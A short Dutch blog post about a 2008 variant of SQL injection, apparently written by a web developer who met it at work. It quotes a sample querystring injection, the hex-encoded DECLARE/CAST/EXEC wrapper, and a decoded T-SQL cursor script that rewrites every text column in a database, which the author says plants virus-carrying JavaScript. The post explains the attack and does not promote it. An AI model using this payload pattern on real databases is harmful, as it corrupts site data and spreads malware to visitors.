Nieuwe vorm van SQL injection

Vandaag kwamen we op het werk een interessant stukje SQL injection tegen. Hoe je ’normaal’ een SQL injection aanval doet op een website is mij wel redelijk bekend. Gewoon in de querystring iets toevoegen als ';SELECT%20Naam%20FROM%20Tabel of iets in die trend. Niet echt hogere wiskunde dus. Als de variabele niet goed is beveiligd in de website danwel de database, dan kun je voor verassende dingen komen te staan. Vandaag zagen we echter een variant op het bovengenoemde fenomeen, namelijk een binaire string toevoegen in je querystring. Blijkbaar is dit een redelijk nieuwe methode een artikel op Bloombit ( https://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx ) schrijft hier namelijk ook over en dat artikel is van mei 2008. Blijkbaar wordt de volgende code

DECLARE @S NVARCHAR(4000) SET @S = CAST(0x44004500 ... 06F007200 AS NVARCHAR(4000)) EXEC(@S)

zo vertaald:

DECLARE @T VARCHAR(255) DECLARE @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT [A].[Name], [B].[Name] FROM sysobjects AS [A], syscolumns AS [B] WHERE [A].[ID] = [B].[ID] AND [A].[XType] = 'U' /* Table (User-Defined) */ AND ([B].[XType] = 99 /* NTEXT */ OR [B].[XType] = 35 /* TEXT */ OR [B].[XType] = 231 /* SYSNAME */ OR [B].[XType] = 167 /* VARCHAR */) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE (@@FETCH_STATUS = 0) BEGIN EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''''') FETCH NEXT FROM Table_Cursor INTO @T, @C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Afgezien van de formattering en het commentaar natuurlijk.

Ik denk trouwens dat de …-reeks in het eerste voorbeeld staat voor heel veel binaire code’s, aangezien je anders natuurlijk nooit al die karakters kunt krijgen van het 2e voorbeeld.

Dat komt natuurlijk niet uit de lucht vallen. In dit script worden alle tekstvelden van je database uitgebreid met een javascript dat een virus bevat.
Probleem is natuurlijk dat dit lastig is op te lossen. Uiteraard lukt dat wel, maar kost weer wat extra tijd. Zelf vind ik het een ontzettend inventieve methode om SQL injection toe te passen, maar wel weer jammer dat er nu weer fixes moeten worden gemaakt voor dit soort problemen.


Share